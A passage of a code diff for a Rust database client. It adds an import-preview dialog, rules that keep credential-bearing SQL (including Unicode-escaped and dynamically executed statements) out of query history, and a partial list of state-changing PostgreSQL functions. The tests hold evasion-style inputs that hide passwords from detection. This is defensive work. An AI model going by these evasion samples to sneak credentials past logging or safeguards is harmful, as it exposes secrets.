+    fn only_settings_looser_than_a_new_connections_are_called_out() {
+        assert!(looser_settings(ExternalAccess::ReadOnly, AiPolicy::Ask).is_empty());
+        assert!(looser_settings(ExternalAccess::Blocked, AiPolicy::Never).is_empty());
+        assert_eq!(looser_settings(ExternalAccess::ReadWrite, AiPolicy::Allow).len(), 2);
+    }
+}
diff --git a/linux/crates/app/src/ui/mod.rs b/linux/crates/app/src/ui/mod.rs
index 081744b61c..9f04d9deb5 100644
--- a/linux/crates/app/src/ui/mod.rs
+++ b/linux/crates/app/src/ui/mod.rs
@@ -28,6 +28,7 @@ mod host_key_failure;
 mod host_key_review;
 pub(crate) mod icons;
 mod import_dialog;
+pub(crate) mod import_preview;
 mod key_tab;
 mod menu_label;
 mod name_entry;
diff --git a/linux/crates/app/src/ui/session_window/connections.rs b/linux/crates/app/src/ui/session_window/connections.rs
index ef070d1abd..2590b8b080 100644
--- a/linux/crates/app/src/ui/session_window/connections.rs
+++ b/linux/crates/app/src/ui/session_window/connections.rs
@@ -698,6 +698,7 @@ impl SessionWindow {
         });
     }
 
+    /// Work out what the file would do, writing nothing yet.
     pub(super) fn on_connections_file_read(&self, path: std::path::PathBuf, bytes: Vec<u8>) {
         let (Some(state), Some(input)) = (self.state(), self.input()) else {
             return;
@@ -705,21 +706,71 @@ impl SessionWindow {
         let connections = state.services.storage.connections().clone();
         let tasks = state.services.tasks.clone();
         let file = path.clone();
+        crate::runtime::spawn_held(&state.services.tasks, &*state.services.hold(), async move {
+            let previewed = tasks
+                .spawn_blocking_task(move || connections.preview_import_blocking(&path, &bytes))
+                .await;
+            let message = match previewed {
+                Ok(Ok(preview)) if preview.entries().is_empty() => {
+                    crate::i18n::gettext("That file has no connections in it.")
+                }
+                Ok(Ok(preview)) => {
+                    input.deliver(SessionWindowInput::ImportPreviewed(Box::new(preview)));
+                    return;
+                }
+                Ok(Err(error)) => {
+                    tracing::warn!(%error, "could not read the connections to import");
+                    import_failure_message(error, &file)
+                }
+                Err(error) => {
+                    tracing::warn!(%error, "the import task did not finish");
+                    crate::i18n::gettext("The connections could not be imported.")
+                }
+            };
+            input.deliver(SessionWindowInput::ShowToast(message));
+        });
+    }
+
+    /// Ask before writing, showing where each connection goes.
+    pub(super) fn on_import_previewed(&self, preview: tablepro_storage::ImportPreview) {
+        let Some(state) = self.state() else {
+            return;
+        };
+        let dialog = crate::ui::import_preview::import_preview_dialog(&preview, &state.services.drivers);
+        let window = self.downgrade();
+        dialog.connect_response(None, move |_, response| {
+            if response == crate::ui::import_preview::IMPORT
+                && let Some(window) = window.upgrade()
+            {
+                window.apply_import(preview.clone());
+            }
+        });
+        dialog.present(Some(self));
+    }
+
+    fn apply_import(&self, preview: tablepro_storage::ImportPreview) {
+        let (Some(state), Some(input)) = (self.state(), self.input()) else {
+            return;
+        };
+        let connections = state.services.storage.connections().clone();
+        let tasks = state.services.tasks.clone();
         crate::runtime::spawn_held(&state.services.tasks, &*state.services.hold(), async move {
             let imported = tasks
-                .spawn_blocking_task(move || connections.import_blocking(&path, &bytes))
+                .spawn_blocking_task(move || connections.apply_import_blocking(&preview))
                 .await;
             let message = match imported {
-                Ok(Ok(report)) if report.total() == 0 => crate::i18n::gettext("That file has no connections in it."),
                 Ok(Ok(report)) => crate::i18n::ngettext_f(
                     "Imported {n} connection.",
                     "Imported {n} connections.",
                     u32::try_from(report.total()).unwrap_or(u32::MAX),
                     &[("n", &report.total().to_string())],
                 ),
+                Ok(Err(tablepro_storage::StorageError::ImportOutdated)) => crate::i18n::gettext(
+                    "The saved connections changed while you were deciding. Import the file again.",
+                ),
                 Ok(Err(error)) => {
                     tracing::warn!(%error, "could not import the connections");
-                    import_failure_message(error, &file)
+                    crate::ui::error_text::saved_connection_error_message(&SavedConnectionError::Storage(error))
                 }
                 Err(error) => {
                     tracing::warn!(%error, "the import task did not finish");
@@ -1104,6 +1155,52 @@ mod tests {
         );
     }
 
+    /// A file whose entry takes a saved connection's name but opens
+    /// another file: the dialog shows where it goes and the suffixed name
+    /// before anything is written, and only Import writes it.
+    #[gtk4::test]
+    fn an_import_shows_where_each_connection_goes_before_writing() {
+        let test = TestWindow::picker("ImportPreview");
+        wait_for_list(&test.window);
+        let lookalike = SavedConnection {
+            id: Uuid::new_v4(),
+            database: "/srv/elsewhere.sqlite3".to_owned(),
+            ..test.saved.clone()
+        };
+        let entry = serde_json::to_string(&lookalike).expect("the entry");
+        let bytes = format!(r#"{{"version": 2, "connections": [{entry}]}}"#).into_bytes();
+
+        test.window.send(SessionWindowInput::ConnectionsFileRead {
+            path: "/tmp/connections.json".into(),
+            bytes,
+        });
+        let alert = wait_for_alert(&test.window);
+        let list = alert.extra_child().expect("the dialog's rows");
+        let mut rows: Vec<adw::ActionRow> = Vec::new();
+        wait_until(WAIT, || {
+            rows = crate::test_support::descendants(&list)
+                .into_iter()
+                .filter_map(|widget| widget.downcast::<adw::ActionRow>().ok())
+                .filter(|row| !row.title().is_empty())
+                .collect();
+            !rows.is_empty()
+        })
+        .expect("the rows");
+        assert_eq!(rows.len(), 1);
+        assert_eq!(rows[0].title(), format!("{} (imported)", test.saved.name));
+        assert!(
+            rows[0]
+                .subtitle()
+                .is_some_and(|subtitle| subtitle.contains("elsewhere.sqlite3")),
+            "{:?}",
+            rows[0].subtitle()
+        );
+        assert!(!listed(&test, lookalike.id), "the preview wrote the list");
+
+        respond(&alert, crate::ui::import_preview::IMPORT);
+        wait_until(WAIT, || listed(&test, lookalike.id)).expect("the import to land");
+    }
+
     #[gtk4::test]
     fn a_confirmed_delete_removes_the_entry_and_its_secrets() {
         let test = TestWindow::picker("DeleteConfirmed");
diff --git a/linux/crates/app/src/ui/session_window/mod.rs b/linux/crates/app/src/ui/session_window/mod.rs
index 1f7865151c..f577d2cb9b 100644
--- a/linux/crates/app/src/ui/session_window/mod.rs
+++ b/linux/crates/app/src/ui/session_window/mod.rs
@@ -522,6 +522,7 @@ impl SessionWindow {
             SessionWindowInput::ExportConnections => self.on_export_connections(),
             SessionWindowInput::ImportConnections => self.on_import_connections(),
             SessionWindowInput::ConnectionsFileRead { path, bytes } => self.on_connections_file_read(path, bytes),
+            SessionWindowInput::ImportPreviewed(preview) => self.on_import_previewed(*preview),
             SessionWindowInput::ShowToast(message) => self.show_toast(&message),
         }
     }
diff --git a/linux/crates/app/src/ui/session_window/session_window_input.rs b/linux/crates/app/src/ui/session_window/session_window_input.rs
index ea95bba177..debea7282d 100644
--- a/linux/crates/app/src/ui/session_window/session_window_input.rs
+++ b/linux/crates/app/src/ui/session_window/session_window_input.rs
@@ -162,5 +162,7 @@ pub(crate) enum SessionWindowInput {
         path: std::path::PathBuf,
         bytes: Vec<u8>,
     },
+    /// What importing that file would do, for the user to agree to.
+    ImportPreviewed(Box<tablepro_storage::ImportPreview>),
     ShowToast(String),
 }
diff --git a/linux/crates/core/src/dialect/test_dialect.rs b/linux/crates/core/src/dialect/test_dialect.rs
index aa0728058e..fd9d7d934a 100644
--- a/linux/crates/core/src/dialect/test_dialect.rs
+++ b/linux/crates/core/src/dialect/test_dialect.rs
@@ -295,6 +295,7 @@ impl SqlDialect for TestDialect {
             statement_prefixes: &[&["CREATE", "USER"], &["ALTER", "USER"]],
             conditional_prefixes: &[],
             carriers: &[],
+            secret_parameters: &[],
         };
         classify_for_history(self.grammar, &RULES, sql)
     }
diff --git a/linux/crates/core/src/lib.rs b/linux/crates/core/src/lib.rs
index 1ff28881a5..fe29020dec 100644
--- a/linux/crates/core/src/lib.rs
+++ b/linux/crates/core/src/lib.rs
@@ -81,6 +81,7 @@ mod transport_class;
 mod transport_error;
 mod transport_kind;
 mod transport_route;
+pub mod unicode_blank;
 mod unsupported_feature;
 mod user_sql;
 pub mod value;
diff --git a/linux/crates/core/src/sql_syntax/credential_rules.rs b/linux/crates/core/src/sql_syntax/credential_rules.rs
index 2d23876692..f3398bc985 100644
--- a/linux/crates/core/src/sql_syntax/credential_rules.rs
+++ b/linux/crates/core/src/sql_syntax/credential_rules.rs
@@ -19,6 +19,11 @@ pub struct CredentialRules {
     /// Functions, procedures and table engines whose arguments can hold
     /// a login or a connection string.
     pub carriers: &'static [&'static str],
+    /// Words that mark a named argument or variable as a secret wherever
+    /// they stand in its name, such as PASSWORD in T-SQL's
+    /// `@monitor_server_password`. No list of procedures is complete, and
+    /// a password passed by name is one whatever the procedure is called.
+    pub secret_parameters: &'static [&'static str],
 }
 
 /// The word before a name being declared or written to, where a carrier
@@ -47,23 +52,40 @@ const INDEX_MODIFIERS: [&str; 11] = [
 impl CredentialRules {
     pub(crate) fn matches(&self, grammar: SqlGrammar, tokens: &[StatementToken<'_>]) -> bool {
         (0..tokens.len()).any(|at| {
-            self.prefix_at(tokens, at) || self.conditional_at(tokens, at) || self.carrier_at(grammar, tokens, at)
+            self.prefix_at(tokens, at)
+                || self.conditional_at(grammar, tokens, at)
+                || self.carrier_at(grammar, tokens, at)
+                || self.secret_parameter_at(tokens, at)
         })
     }
 
+    fn secret_parameter_at(&self, tokens: &[StatementToken<'_>], at: usize) -> bool {
+        let Some(StatementToken::Word(word)) = tokens.get(at) else {
+            return false;
+        };
+        let Some(name) = word.strip_prefix('@') else {
+            return false;
+        };
+        let name = name.to_ascii_uppercase();
+        self.secret_parameters
+            .iter()
+            .any(|secret| name.contains(&secret.to_ascii_uppercase()))
+    }
+
     fn prefix_at(&self, tokens: &[StatementToken<'_>], at: usize) -> bool {
         self.statement_prefixes
             .iter()
             .any(|prefix| words_at(tokens, at, prefix).is_some())
     }
 
-    fn conditional_at(&self, tokens: &[StatementToken<'_>], at: usize) -> bool {
+    fn conditional_at(&self, grammar: SqlGrammar, tokens: &[StatementToken<'_>], at: usize) -> bool {
         self.conditional_prefixes.iter().any(|(prefix, triggers)| {
             words_at(tokens, at, prefix).is_some_and(|end| {
-                tokens.get(end..).unwrap_or_default().iter().any(|token| {
-                    token
-                        .name()
-                        .is_some_and(|name| triggers.iter().any(|trigger| trigger.eq_ignore_ascii_case(name)))
+                (end..tokens.len()).any(|at| {
+                    (decodes_unicode_names(grammar) && spelled_in_escapes(tokens, at))
+                        || tokens[at]
+                            .name()
+                            .is_some_and(|name| triggers.iter().any(|trigger| trigger.eq_ignore_ascii_case(name)))
                 })
             })
         })
@@ -76,6 +98,10 @@ impl CredentialRules {
         let Some(name) = token.name() else {
             return false;
         };
+        if decodes_unicode_names(grammar) && spelled_in_escapes(tokens, at) {
+            return tokens.get(after_uescape(tokens, at + 1)) == Some(&StatementToken::OpenParen)
+                && !names_an_object(tokens, qualified_name_start(tokens, at - 2));
+        }
         if !self.carriers.iter().any(|carrier| carrier.eq_ignore_ascii_case(name)) {
             return false;
         }
@@ -97,6 +123,39 @@ impl CredentialRules {
     }
 }
 
+/// The grammars whose scanner is PostgreSQL's, which decodes the escapes
+/// of a `U&"…"` name before it looks the name up, so such a name is
+/// compared with nothing and may be any carrier.
+fn decodes_unicode_names(grammar: SqlGrammar) -> bool {
+    matches!(grammar, SqlGrammar::PostgreSql | SqlGrammar::DuckDb)
+}
+
+/// A `U&"…"` name, whose prefix the lexer reads as the word `U` and `&`,
+/// written with nothing between them, since `u & "f"(1)` is an AND.
+fn spelled_in_escapes(tokens: &[StatementToken<'_>], at: usize) -> bool {
+    let (Some(StatementToken::QuotedName(name)), Some(StatementToken::Word(prefix))) =
+        (tokens.get(at), at.checked_sub(2).and_then(|before| tokens.get(before)))
+    else {
+        return false;
+    };
+    tokens[at - 1].is_punct('&')
+        && prefix.eq_ignore_ascii_case("U")
+        && prefix.as_ptr() as usize + 3 == name.as_ptr() as usize
+}
+
+/// The index past a `UESCAPE '!'` at `at`, or `at` where there is none.
+/// The string can go on in another on the next line, so it is as many
+/// tokens as stand there.
+fn after_uescape(tokens: &[StatementToken<'_>], at: usize) -> usize {
+    if !tokens.get(at).is_some_and(|token| token.is_word("UESCAPE")) {
+        return at;
+    }
+    let strings = tokens[at + 1..]
+        .iter()
+        .take_while(|token| matches!(token, StatementToken::StringLiteral(_) | StatementToken::DollarBody(_)));
+    at + 1 + strings.count()
+}
+
 fn starts_statement(tokens: &[StatementToken<'_>], start: usize) -> bool {
     start == 0 || tokens.get(start - 1).is_some_and(|token| token.is_punct(';'))
 }
diff --git a/linux/crates/core/src/sql_syntax/history_recording.rs b/linux/crates/core/src/sql_syntax/history_recording.rs
index 32c811ebb6..80cc5aab42 100644
--- a/linux/crates/core/src/sql_syntax/history_recording.rs
+++ b/linux/crates/core/src/sql_syntax/history_recording.rs
@@ -87,18 +87,38 @@ fn carries_credentials(
         depth < MAX_BODY_DEPTH
             && carries_credentials(grammar, rules, &lex_statements(body, grammar).statements, depth + 1)
     };
+    let runs_text = runs_text_as_sql(grammar, statements);
     statements.iter().any(|tokens| {
         rules.matches(grammar, tokens)
             || tokens.iter().enumerate().any(|(at, token)| match token {
                 StatementToken::DollarBody(body) => body_carries(body),
-                StatementToken::StringLiteral(text) if quoted_routine_body(grammar, tokens, at) => {
-                    body_carries(&string_value(text))
+                StatementToken::StringLiteral(text) if runs_text || quoted_routine_body(grammar, tokens, at) => {
+                    body_carries(&string_value(text, grammar))
                 }
                 _ => false,
             })
     })
 }
 
+/// Whether the script hands the server text to run as a statement:
+/// T-SQL `EXEC ('...')` and `sp_executesql`, MySQL `PREPARE ... FROM`,
+/// MariaDB `EXECUTE IMMEDIATE`, PL/pgSQL `EXECUTE`. The text can reach
+/// them through a variable or a concatenation, so every string of such a
+/// script is read for the statements it holds.
+fn runs_text_as_sql(grammar: SqlGrammar, statements: &[Vec<StatementToken<'_>>]) -> bool {
+    let runners: &[&str] = match grammar {
+        SqlGrammar::MsSql => &["EXEC", "EXECUTE", "sp_executesql"],
+        SqlGrammar::MySql => &["PREPARE", "EXECUTE"],
+        SqlGrammar::PostgreSql => &["EXECUTE"],
+        _ => return false,
+    };
+    statements.iter().flatten().any(|token| {
+        token
+            .name()
+            .is_some_and(|name| runners.iter().any(|runner| runner.eq_ignore_ascii_case(name)))
+    })
+}
+
 /// PostgreSQL also takes a DO block or a function body as a plain
 /// string: `DO 'BEGIN ... END'`, `CREATE FUNCTION f() ... AS 'SELECT 1'`.
 fn quoted_routine_body(grammar: SqlGrammar, tokens: &[StatementToken<'_>], at: usize) -> bool {
@@ -120,24 +140,35 @@ fn defines_routine(tokens: &[StatementToken<'_>]) -> bool {
     })
 }
 
-/// The text a PostgreSQL string literal stands for: `'it''s'` and
-/// `E'it\'s'` both give `it's`.
-fn string_value(text: &str) -> String {
+/// The text a string literal stands for: `'it''s'` and PostgreSQL's
+/// `E'it\'s'` both give `it's`, and so does MySQL's `"it's"`. A string
+/// continued on the next line, `E'a'` then `'b'`, gives `ab`. MySQL
+/// escapes with a backslash in every string.
+fn string_value(text: &str, grammar: SqlGrammar) -> String {
     let (escapes, quoted) = match text.strip_prefix(['E', 'e']) {
-        Some(rest) => (true, rest),
-        None => (false, text),
+        Some(rest) if rest.starts_with('\'') => (true, rest),
+        _ => (grammar == SqlGrammar::MySql, text),
     };
+    let quote = if quoted.starts_with('"') { '"' } else { '\'' };
     let inner = quoted
-        .strip_prefix('\'')
-        .and_then(|rest| rest.strip_suffix('\''))
+        .strip_prefix(quote)
+        .and_then(|rest| rest.strip_suffix(quote))
         .unwrap_or_default();
     let mut value = String::with_capacity(inner.len());
-    let mut chars = inner.chars();
+    let mut chars = inner.chars().peekable();
     while let Some(c) = chars.next() {
         match c {
-            '\'' => {
+            _ if c == quote && chars.peek() == Some(&quote) => {
                 chars.next();
-                value.push('\'');
+                value.push(quote);
+            }
+            // A piece ends here and the next one starts at its quote.
+            _ if c == quote => {
+                for skipped in chars.by_ref() {
+                    if skipped == quote {
+                        break;
+                    }
+                }
             }
             '\\' if escapes => match chars.next() {
                 Some('n') => value.push('\n'),
@@ -166,6 +197,7 @@ mod tests {
         ],
         conditional_prefixes: &[(&["GRANT"], &["IDENTIFIED"])],
         carriers: &["dblink_connect", "sp_addlogin", "s3", "OPENROWSET"],
+        secret_parameters: &[],
     };
 
     const WITHHELD: HistoryRecording = HistoryRecording::Withhold(WithholdReason::CredentialStatement);
@@ -464,4 +496,82 @@ mod tests {
             prop_assert_eq!(classify(SqlGrammar::PostgreSql, &sql), WITHHELD);
         }
     }
+
+    #[test]
+    fn a_call_of_a_name_spelled_in_escapes_may_be_a_carrier() {
+        for sql in [
+            r#"SELECT U&"dblink_connec\0074"('password=x')"#,
+            r#"SELECT public.u&"dblink_connec\+000074" ('password=x')"#,
+            r#"SELECT U&"dblink_connec!0074" UESCAPE '!' ('password=x')"#,
+            r#"SELECT U&"dblink_connec!0074" UESCAPE $$!$$ ('password=x')"#,
+            "SELECT U&\"dblink_connec!0074\" UESCAPE '!'\n'' ('password=x')",
+            r#"GRANT SELECT ON t TO u U&"IDENTIFIE\0044" BY 'p'"#,
+        ] {
+            assert_eq!(classify(SqlGrammar::PostgreSql, sql), WITHHELD, "{sql}");
+        }
+        for sql in [
+            r#"SELECT U&"d\0061ta", u & "mask" FROM orders"#,
+            r#"SELECT U&"d!0061ta" UESCAPE '!' FROM orders WHERE id IN (1, 2)"#,
+            r#"INSERT INTO public.U&"d\0061ta" (id) VALUES (1)"#,
+            r#"CREATE TABLE U&"s\0033" (id int)"#,
+        ] {
+            assert_eq!(classify(SqlGrammar::PostgreSql, sql), HistoryRecording::Record, "{sql}");
+        }
+        assert_eq!(
+            classify(SqlGrammar::Sqlite, r#"SELECT u & "f"('x') FROM t"#),
+            HistoryRecording::Record
+        );
+        assert_eq!(
+            classify(SqlGrammar::PostgreSql, r#"SELECT u & "abs"(-3) FROM t"#),
+            HistoryRecording::Record
+        );
+    }
+
+    #[test]
+    fn text_run_as_dynamic_sql_is_read_for_statements() {
+        for (grammar, sql) in [
+            (SqlGrammar::MsSql, "EXEC('CREATE USER u WITH PASSWORD = ''p''')"),
+            (
+                SqlGrammar::MsSql,
+                "EXEC sp_executesql N'CREATE USER u WITH PASSWORD = ''p'''",
+            ),
+            (
+                SqlGrammar::MsSql,
+                "DECLARE @s nvarchar(99) = N'CREATE USER u WITH PASSWORD = ''p'''; EXEC (@s)",
+            ),
+            (SqlGrammar::MySql, "PREPARE s FROM 'CREATE USER u IDENTIFIED BY ''p'''"),
+            (SqlGrammar::MySql, "PREPARE s FROM \"CREATE USER u IDENTIFIED BY 'p'\""),
+            (SqlGrammar::MySql, r"PREPARE s FROM 'CREATE USER u IDENTIFIED BY \'p\''"),
+            (
+                SqlGrammar::MySql,
+                "EXECUTE IMMEDIATE 'CREATE USER u IDENTIFIED BY ''p'''",
+            ),
+            (
+                SqlGrammar::MySql,
+                "SET @s = 'CREATE USER u IDENTIFIED BY ''p'''; PREPARE s FROM @s",
+            ),
+            (
+                SqlGrammar::PostgreSql,
+                "DO $$ BEGIN EXECUTE 'CREATE USER u PASSWORD ''p'''; END $$",
+            ),
+            (
+                SqlGrammar::PostgreSql,
+                "DO $$ BEGIN EXECUTE format('CREATE USER %I PASSWORD %L', 'u', 'p'); END $$",
+            ),
+            (
+                SqlGrammar::PostgreSql,
+                "DO $$ BEGIN EXECUTE E'CREATE USER u '\n'PASSWORD ''p'''; END $$",
+            ),
+        ] {
+            assert_eq!(classify(grammar, sql), WITHHELD, "{sql}");
+        }
+        for (grammar, sql) in [
+            (SqlGrammar::MsSql, "EXEC sp_who 'active'"),
+            (SqlGrammar::MySql, "PREPARE s FROM 'SELECT ''CREATE USER u'''"),
+            (SqlGrammar::PostgreSql, "DO $$ BEGIN EXECUTE 'SELECT 1'; END $$"),
+            (SqlGrammar::Sqlite, "SELECT 'CREATE USER u' AS execute"),
+        ] {
+            assert_eq!(classify(grammar, sql), HistoryRecording::Record, "{sql}");
+        }
+    }
 }
diff --git a/linux/crates/core/src/sql_syntax/mod.rs b/linux/crates/core/src/sql_syntax/mod.rs
index 36acc3d9a3..50e8f531d4 100644
--- a/linux/crates/core/src/sql_syntax/mod.rs
+++ b/linux/crates/core/src/sql_syntax/mod.rs
@@ -12,6 +12,7 @@ mod parse_type;
 pub mod redis;
 mod reserved_words;
 pub mod script;
+mod state_changing_functions;
 mod statement_access;
 mod statement_tokens;
 
@@ -24,4 +25,4 @@ pub use history_recording::{HistoryRecording, WithholdReason, classify_for_histo
 pub use literal_token::LiteralToken;
 pub use parse_expression::{MAX_EXPRESSION_LEN, ValidatedExpression, parse_expression};
 pub use parse_type::{MAX_TYPE_LEN, TypeShape, ValidatedType, parse_type};
-pub use statement_access::{StatementAccess, statement_access};
+pub use statement_access::{StatementAccess, sqlite_pragma_reports, statement_access};
diff --git a/linux/crates/core/src/sql_syntax/script/lexer.rs b/linux/crates/core/src/sql_syntax/script/lexer.rs
index c10883d5b2..26ce81caf2 100644
--- a/linux/crates/core/src/sql_syntax/script/lexer.rs
+++ b/linux/crates/core/src/sql_syntax/script/lexer.rs
@@ -10,6 +10,9 @@ use crate::sql_syntax::script::{LexicalSettings, OpenConstruct, ScriptTokenKind}
 /// MariaDB's MSSQL mode ends a `[name]` at a `]` that is not doubled.
 const MARIADB_BRACKETS: BracketIdentifier = BracketIdentifier::Doubling;
 
+/// U+FEFF as UTF-8.
+const BYTE_ORDER_MARK: &[u8] = b"\xEF\xBB\xBF";
+
 #[derive(Debug, Clone, PartialEq, Eq)]
 pub(crate) struct LexedToken {
     pub kind: ScriptTokenKind,
@@ -85,8 +88,16 @@ impl<'a> Lexer<'a> {
 
     fn lex_at(&mut self, start: usize, first: u8, delimiter: Option<&str>) -> LexedToken {
         let next = self.bytes.get(start + 1).copied();
+        if self.syntax.tcl_parameters
+            && let Some(end) = self.tcl_parameter_end(start, first)
+        {
+            return self.plain(ScriptTokenKind::Word, end);
+        }
         match first {
             b if is_space(b) => self.plain(ScriptTokenKind::Whitespace, self.whitespace_end(start)),
+            0xEF if self.syntax.byte_order_mark_is_space && self.bytes[start..].starts_with(BYTE_ORDER_MARK) => {
+                self.plain(ScriptTokenKind::Whitespace, start + BYTE_ORDER_MARK.len())
+            }
             b'-' if next == Some(b'-') && self.dash_comment_starts(start) => self.line_comment(start),
             b'#' if self.hash_comment_starts(next) => self.line_comment(start),
             b'/' if next == Some(b'*') => self.comment(start),
@@ -264,10 +275,43 @@ impl<'a> Lexer<'a> {
         None
     }
 
+    /// An `E'...'` string, with every `'...'` that continues it: the
+    /// server reads those by the rules of the first piece, so a backslash
+    /// escapes in them whatever `standard_conforming_strings` says.
     fn escape_string(&self, start: usize) -> LexedToken {
-        match self.quote_end(start + 2, b'\'', true) {
-            Some(end) => self.plain(ScriptTokenKind::StringLiteral, end),
-            None => self.unterminated(start, OpenConstruct::StringLiteral),
+        let mut from = start + 2;
+        loop {
+            let Some(end) = self.quote_end(from, b'\'', true) else {
+                return self.unterminated(start, OpenConstruct::StringLiteral);
+            };
+            match self.continuing_quote(end) {
+                Some(quote) => from = quote + 1,
+                None => return self.plain(ScriptTokenKind::StringLiteral, end),
+            }
+        }
+    }
+
+    /// The quote that carries on the string that closed just before
+    /// `from`, as PostgreSQL's `quotecontinue` rule finds it: only blanks
+    /// and `--` comments in between, a line break among them. Before the
+    /// first line break only a space, tab or form feed counts as a blank.
+    fn continuing_quote(&self, from: usize) -> Option<usize> {
+        let mut index = from;
+        let mut line_broke = false;
+        loop {
+            match *self.bytes.get(index)? {
+                b'\n' | b'\r' => {
+                    line_broke = true;
+                    index += 1;
+                }
+                b' ' | b'\t' | 0x0c => index += 1,
+                0x0b if line_broke => index += 1,
+                b'-' if self.bytes.get(index + 1) == Some(&b'-') => {
+                    index += self.bytes[index..].iter().position(|&b| b == b'\n' || b == b'\r')?;
+                }
+                b'\'' if line_broke => return Some(index),
+                _ => return None,
+            }
         }
     }
 
@@ -337,6 +381,42 @@ impl<'a> Lexer<'a> {
         self.plain(ScriptTokenKind::Punct, start + 1)
     }
 
+    /// SQLite reads `$space::name(…)` as one token, and the same after `@`,
+    /// `:` and `#`, as `sqlite3GetToken` reads it: a parameter whose name
+    /// runs from the parenthesis to the next `)` whatever stands between,
+    /// a quote or a `;` included. White space or the end of the text ends
+    /// it first, as a token SQLite refuses. `None` for a name that is one
+    /// word, which needs no rule of its own.
+    fn tcl_parameter_end(&self, start: usize, first: u8) -> Option<usize> {
+        if !matches!(first, b'$' | b'@' | b':' | b'#') {
+            return None;
+        }
+        let mut named = false;
+        let mut qualified = false;
+        let mut index = start + 1;
+        while let Some(&b) = self.bytes.get(index) {
+            match b {
+                b if self.is_word_part(b) => {
+                    named = true;
+                    index += 1;
+                }
+                b':' if self.bytes.get(index + 1) == Some(&b':') => {
+                    qualified = true;
+                    index += 2;
+                }
+                b'(' if named => {
+                    let stop = self.bytes[index..]
+                        .iter()
+                        .position(|&b| matches!(b, b')' | 0) || is_space(b))
+                        .map_or(self.bytes.len(), |offset| index + offset);
+                    return Some(stop + usize::from(self.bytes.get(stop) == Some(&b')')));
+                }
+                _ => break,
+            }
+        }
+        qualified.then_some(index)
+    }
+
     /// MySQL 8.1 and later quote text in `$tag$ … $tag$` where a token
     /// starts, as `get_dollar_quoted_text` reads it. A `$` that breaks a
     /// partial match of the closer cannot start the next one.
diff --git a/linux/crates/core/src/sql_syntax/script/script_rules.rs b/linux/crates/core/src/sql_syntax/script/script_rules.rs
index b36f3d9ed0..2cd7913559 100644
--- a/linux/crates/core/src/sql_syntax/script/script_rules.rs
+++ b/linux/crates/core/src/sql_syntax/script/script_rules.rs
@@ -82,6 +82,14 @@ pub(crate) struct ScriptSyntax {
     /// `1_000.5e1_0`: PostgreSQL 16, SQLite 3.46 and ClickHouse read it
     /// so. MySQL reads `1_0e` as a name.
     pub digit_separators: bool,
+    /// A parameter is named as a Tcl variable is, so after `$`, `@`, `:`
+    /// or `#` the name can hold `::` and end in `(…)`, which runs to the
+    /// next `)` whatever it holds: SQLite's `$space::name(index)`.
+    pub tcl_parameters: bool,
+    /// A UTF-8 byte-order mark where a token starts is a space, as
+    /// SQLite's `sqlite3GetToken` reads it. Inside a name it stays a name
+    /// character, there as elsewhere.
+    pub byte_order_mark_is_space: bool,
     pub word_start_extra: &'static [u8],
     pub word_part_extra: &'static [u8],
 }
@@ -118,6 +126,8 @@ const POSTGRESQL: ScriptRules = ScriptRules {
         executable_comments: false,
         dollar_quote: DollarQuote::Tagged,
         digit_separators: true,
+        tcl_parameters: false,
+        byte_order_mark_is_space: false,
         word_start_extra: b"",
         word_part_extra: b"$",
     },
@@ -142,6 +152,8 @@ const MYSQL: ScriptRules = ScriptRules {
         executable_comments: true,
         dollar_quote: DollarQuote::None,
         digit_separators: false,
+        tcl_parameters: false,
+        byte_order_mark_is_space: false,
         word_start_extra: b"$",
         word_part_extra: b"$",
     },
@@ -166,6 +178,8 @@ const SQLITE: ScriptRules = ScriptRules {
         executable_comments: false,
         dollar_quote: DollarQuote::None,
         digit_separators: true,
+        tcl_parameters: true,
+        byte_order_mark_is_space: true,
         word_start_extra: b"$",
         word_part_extra: b"$",
     },
@@ -190,6 +204,8 @@ const MSSQL: ScriptRules = ScriptRules {
         executable_comments: false,
         dollar_quote: DollarQuote::None,
         digit_separators: false,
+        tcl_parameters: false,
+        byte_order_mark_is_space: false,
         word_start_extra: b"@#",
         word_part_extra: b"@#$",
     },
@@ -214,6 +230,8 @@ const CLICKHOUSE: ScriptRules = ScriptRules {
         executable_comments: false,
         dollar_quote: DollarQuote::Heredoc,
         digit_separators: true,
+        tcl_parameters: false,
+        byte_order_mark_is_space: false,
         word_start_extra: b"",
         word_part_extra: b"",
     },
@@ -238,6 +256,8 @@ const CQL: ScriptRules = ScriptRules {
         executable_comments: false,
         dollar_quote: DollarQuote::Untagged,
         digit_separators: false,
+        tcl_parameters: false,
+        byte_order_mark_is_space: false,
         word_start_extra: b"",
         word_part_extra: b"",
     },
@@ -265,6 +285,8 @@ const DUCKDB: ScriptRules = ScriptRules {
         executable_comments: false,
         dollar_quote: DollarQuote::Tagged,
         digit_separators: true,
+        tcl_parameters: false,
+        byte_order_mark_is_space: false,
         word_start_extra: b"",
         word_part_extra: b"$",
     },
diff --git a/linux/crates/core/src/sql_syntax/state_changing_functions.rs b/linux/crates/core/src/sql_syntax/state_changing_functions.rs
new file mode 100644
index 0000000000..4b3c5102d6
--- /dev/null
+++ b/linux/crates/core/src/sql_syntax/state_changing_functions.rs
@@ -0,0 +1,200 @@
+//! Built-in functions that change state from inside a SELECT, by family.
+//!
+//! A read-only transaction stops none of them on PostgreSQL 15 and
+//! earlier: they signal other sessions, take locks, run SQL text on
+//! another connection or write large objects. A function the user wrote
+//! is beyond what the words show.
+
+const SERVER_SIGNALS: &[&str] = &[
+    "pg_cancel_backend",
+    "pg_terminate_backend",
+    "pg_reload_conf",
+    "pg_rotate_logfile",
+    "pg_log_backend_memory_contexts",
+];
+
+const SESSION_CONTROL: &[&str] = &[
+    "system$abort_session",
+    "system$cancel_query",
+    "system$cancel_all_queries",
+    "system$abort_transaction",
+    "abortsessions",
+];
+
+const RECOVERY_AND_BACKUP: &[&str] = &[
+    "pg_promote",
+    "pg_wal_replay_pause",
+    "pg_wal_replay_resume",
+    "pg_backup_start",
+    "pg_backup_stop",
+    "pg_switch_wal",
+    "pg_create_restore_point",
+    "pg_log_standby_snapshot",
+    "pg_start_backup",
+    "pg_stop_backup",
+    "pg_switch_xlog",
+    "pg_xlog_replay_pause",
+    "pg_xlog_replay_resume",
+];
+
+const REPLICATION: &[&str] = &[
+    "pg_create_physical_replication_slot",
+    "pg_create_logical_replication_slot",
+    "pg_copy_physical_replication_slot",
+    "pg_copy_logical_replication_slot",
+    "pg_drop_replication_slot",
+    "pg_replication_slot_advance",
+    "pg_sync_replication_slots",
+    "pg_logical_slot_get_changes",
+    "pg_logical_slot_get_binary_changes",
+    "pg_logical_emit_message",
